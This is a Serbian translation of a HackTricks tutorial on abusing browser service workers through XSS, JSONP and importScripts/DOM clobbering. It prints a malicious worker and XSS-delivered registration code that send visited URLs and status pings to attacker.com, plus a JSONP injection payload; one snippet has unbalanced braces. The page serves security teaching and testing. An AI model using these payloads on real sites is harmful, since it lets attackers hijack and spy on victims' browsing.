8.2 KiB
Zloupotreba servisnih radnika
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
- Da li radite u kompaniji za kibernetičku bezbednost? Želite li da vidite svoju kompaniju reklamiranu na HackTricks? ili želite da imate pristup najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF-u? Proverite PLANOVE ZA PRETPLATU!
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Nabavite zvanični PEASS & HackTricks swag
- Pridružite se 💬 Discord grupi ili telegram grupi ili me pratite na Twitteru 🐦@carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na hacktricks repo i hacktricks-cloud repo.
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Osnovne informacije
Servisni radnik je skripta koju vaš pregledač pokreće u pozadini, odvojeno od bilo koje veb stranice, omogućavajući funkcije koje ne zahtevaju veb stranicu ili interakciju korisnika, čime se poboljšavaju mogućnosti offline i obrade u pozadini. Detaljne informacije o servisnim radnicima mogu se pronaći ovde. Iskorišćavanjem servisnih radnika unutar ranjive veb domene, napadači mogu preuzeti kontrolu nad interakcijama žrtve sa svim stranicama unutar te domene.
Provera postojanja servisnih radnika
Postojeće servisne radnike možete proveriti u odeljku Servisni radnici u kartici Aplikacija u Alatkama za razvoj. Drugi način je posetiti chrome://serviceworker-internals za detaljniji prikaz.
Obaveštenja o guranju
Dozvole za obaveštenja o guranju direktno utiču na sposobnost servisnog radnika da komunicira sa serverom bez direktnog korisničkog interakcije. Ako su dozvole odbijene, ograničava potencijal servisnog radnika da predstavlja kontinuiranu pretnju. Nasuprot tome, davanje dozvola povećava rizike bezbednosti omogućavajući prijem i izvršenje potencijalnih eksploatacija.
Napad kreiranja servisnog radnika
Da biste iskoristili ovu ranjivost, morate pronaći:
- Način za učitavanje proizvoljnih JS fajlova na server i XSS za učitavanje servisnog radnika učitanog JS fajla
- Ranjiv JSONP zahtev gde možete manipulisati izlazom (sa proizvoljnim JS kodom) i XSS za učitavanje JSONP-a sa payloadom koji će učitati zlonamernog servisnog radnika.
U sledećem primeru ću prikazati kod za registrovanje novog servisnog radnika koji će osluškivati događaj fetch
i slati serveru napadača svaki preuzeti URL (ovo je kod koji biste trebali učitati na server ili učitati putem ranjivog JSONP odgovora):
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
I ovo je kod koji će registrovati radnika (kod koji biste trebali moći da izvršite zloupotrebom XSS-a). U ovom slučaju će GET zahtev biti poslat napadačevom serveru obaveštavajući da li je registracija servisnog radnika bila uspešna ili ne:
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
U slučaju zloupotrebe ranjive JSONP tačke, trebalo bi da stavite vrednost unutar var sw
. Na primer:
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
Postoji C2 posvećen eksploataciji servisnih radnika nazvan Shadow Workers koji će biti vrlo koristan za zloupotrebu ovih ranjivosti.
Direktiva keša od 24 sata ograničava život zlonamernog ili kompromitovanog servisnog radnika (SW) na najviše 24 sata nakon popravke ranjivosti XSS-a, uz pretpostavku statusa online klijenta. Da bi se smanjila ranjivost, operateri sajtova mogu smanjiti vreme života skripte SW-a (TTL). Razvojni programeri takođe se savetuju da kreiraju prekidač za gašenje servisnog radnika za brzo deaktiviranje.
Zloupotreba importScripts
u SW putem DOM Clobbering
Funkcija importScripts
pozvana iz Servisnog Radnika može uvoziti skriptu sa različite domene. Ako se ova funkcija pozove koristeći parametar koji napadač može izmeniti, on bi mogao uvoziti JS skriptu sa svoje domene i dobiti XSS.
Ovo čak zaobilazi zaštitu CSP-a.
Primer ranjivog koda:
- index.html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
- sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
Sa DOM Clobbering-om
Za više informacija o tome šta je DOM Clobbering, pogledajte:
{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}
Ako je URL/domenu gde SW koristi importScripts
unutar HTML elementa, moguće je izmeniti ga putem DOM Clobbering-a kako bi SW učitao skriptu sa vaše sopstvene domene.
Za primer pogledajte referentni link.
Reference
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
- Da li radite u kompaniji za kibernetičku bezbednost? Želite li da vidite svoju kompaniju reklamiranu na HackTricks? ili želite pristup najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu? Proverite PLANOVE ZA PRIJAVU!
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Nabavite zvanični PEASS & HackTricks swag
- Pridružite se 💬 Discord grupi ili telegram grupi ili me pratite na Twitteru 🐦@carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na hacktricks repozitorijum i hacktricks-cloud repozitorijum.